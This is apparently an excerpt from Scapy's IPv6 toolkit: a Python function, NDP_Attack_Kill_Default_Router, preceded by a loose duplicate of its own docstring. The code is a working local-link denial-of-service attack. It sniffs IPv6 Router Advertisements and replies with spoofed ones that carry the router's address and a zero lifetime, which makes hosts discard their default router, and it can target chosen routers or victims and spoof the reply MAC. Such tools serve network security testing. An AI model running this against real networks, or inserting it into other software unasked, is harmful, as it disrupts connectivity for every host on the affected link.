The purpose of the function is to monitor incoming RA messages
    sent by default routers (RA with a non-zero Router Lifetime values)
    and invalidate them by immediately replying with fake RA messages
    advertising a zero Router Lifetime value.

    The result on receivers is that the router is immediately invalidated,
    i.e. the associated entry is discarded from the default router list
    and destination cache is updated to reflect the change.

    By default, the function considers all RA messages with a non-zero
    Router Lifetime value but provides configuration knobs to allow
    filtering RA sent by specific routers (Ethernet source address).
    With regard to emission, the multicast all-nodes address is used
    by default but a specific target can be used, in order for the DoS to
    apply only to a specific host.

    More precisely, following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
         DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only RA messages received from this source will trigger replies.
         If other default routers advertised their presence on the link,
         their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific mac address.

    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
         on. Only RA messages received from this source address will trigger
         replies. If other default routers advertised their presence on the
         link, their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific IPv6 source
         address.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface.

    tgt_mac: allow limiting the effect of the DoS to a specific host,
         by sending the "invalidating RA" only to its mac address.

def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
                                   ip_src_filter=None, reply_mac=None,
                                   tgt_mac=None):
    """
    The purpose of the function is to monitor incoming RA messages
    sent by default routers (RA with a non-zero Router Lifetime values)
    and invalidate them by immediately replying with fake RA messages
    advertising a zero Router Lifetime value.

    The result on receivers is that the router is immediately invalidated,
    i.e. the associated entry is discarded from the default router list
    and destination cache is updated to reflect the change.

    By default, the function considers all RA messages with a non-zero
    Router Lifetime value but provides configuration knobs to allow
    filtering RA sent by specific routers (Ethernet source address).
    With regard to emission, the multicast all-nodes address is used
    by default but a specific target can be used, in order for the DoS to
    apply only to a specific host.

    More precisely, following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
         DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only RA messages received from this source will trigger replies.
         If other default routers advertised their presence on the link,
         their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific mac address.

    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
         on. Only RA messages received from this source address will trigger
         replies. If other default routers advertised their presence on the
         link, their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific IPv6 source
         address.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface.

    tgt_mac: allow limiting the effect of the DoS to a specific host,
         by sending the "invalidating RA" only to its mac address.
    """

    def is_request(req, mac_src_filter, ip_src_filter):
        """
        Check if packet req is a request
        """

        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
            return 0

        mac_src = req[Ether].src
        if mac_src_filter and mac_src != mac_src_filter:
            return 0

        ip_src = req[IPv6].src
        if ip_src_filter and ip_src != ip_src_filter:
            return 0

        # Check if this is an advertisement for a Default Router
        # by looking at Router Lifetime value
        if req[ICMPv6ND_RA].routerlifetime == 0:
            return 0

        return 1

    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
        """
        Callback that sends an RA with a 0 lifetime
        """

        # Let's build a reply and send it

        src = req[IPv6].src

        # Prepare packets parameters
        ether_params = {}
        if reply_mac:
            ether_params["src"] = reply_mac

        if tgt_mac:
            ether_params["dst"] = tgt_mac

        # Basis of fake RA (high pref, zero lifetime)
        rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1")
        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)

        # Add it a PIO from the request ...
        tmp = req
        while ICMPv6NDOptPrefixInfo in tmp:
            pio = tmp[ICMPv6NDOptPrefixInfo]
            tmp = pio.payload
            del(pio.payload)
            rep /= pio

        # ... and source link layer address option
        if ICMPv6NDOptSrcLLAddr in req:
            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
        else:
            mac = req[Ether].src
        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)

        sendp(rep, iface=iface, verbose=0)

        print("Fake RA sent with source address %s" % src)

    if not iface:
        iface = conf.iface
    # To prevent sniffing our own traffic
    if not reply_mac:
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = "icmp6 and not ether src %s" % reply_mac

    sniff(store=0,
          filter=sniff_filter,
          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
          iface=iface)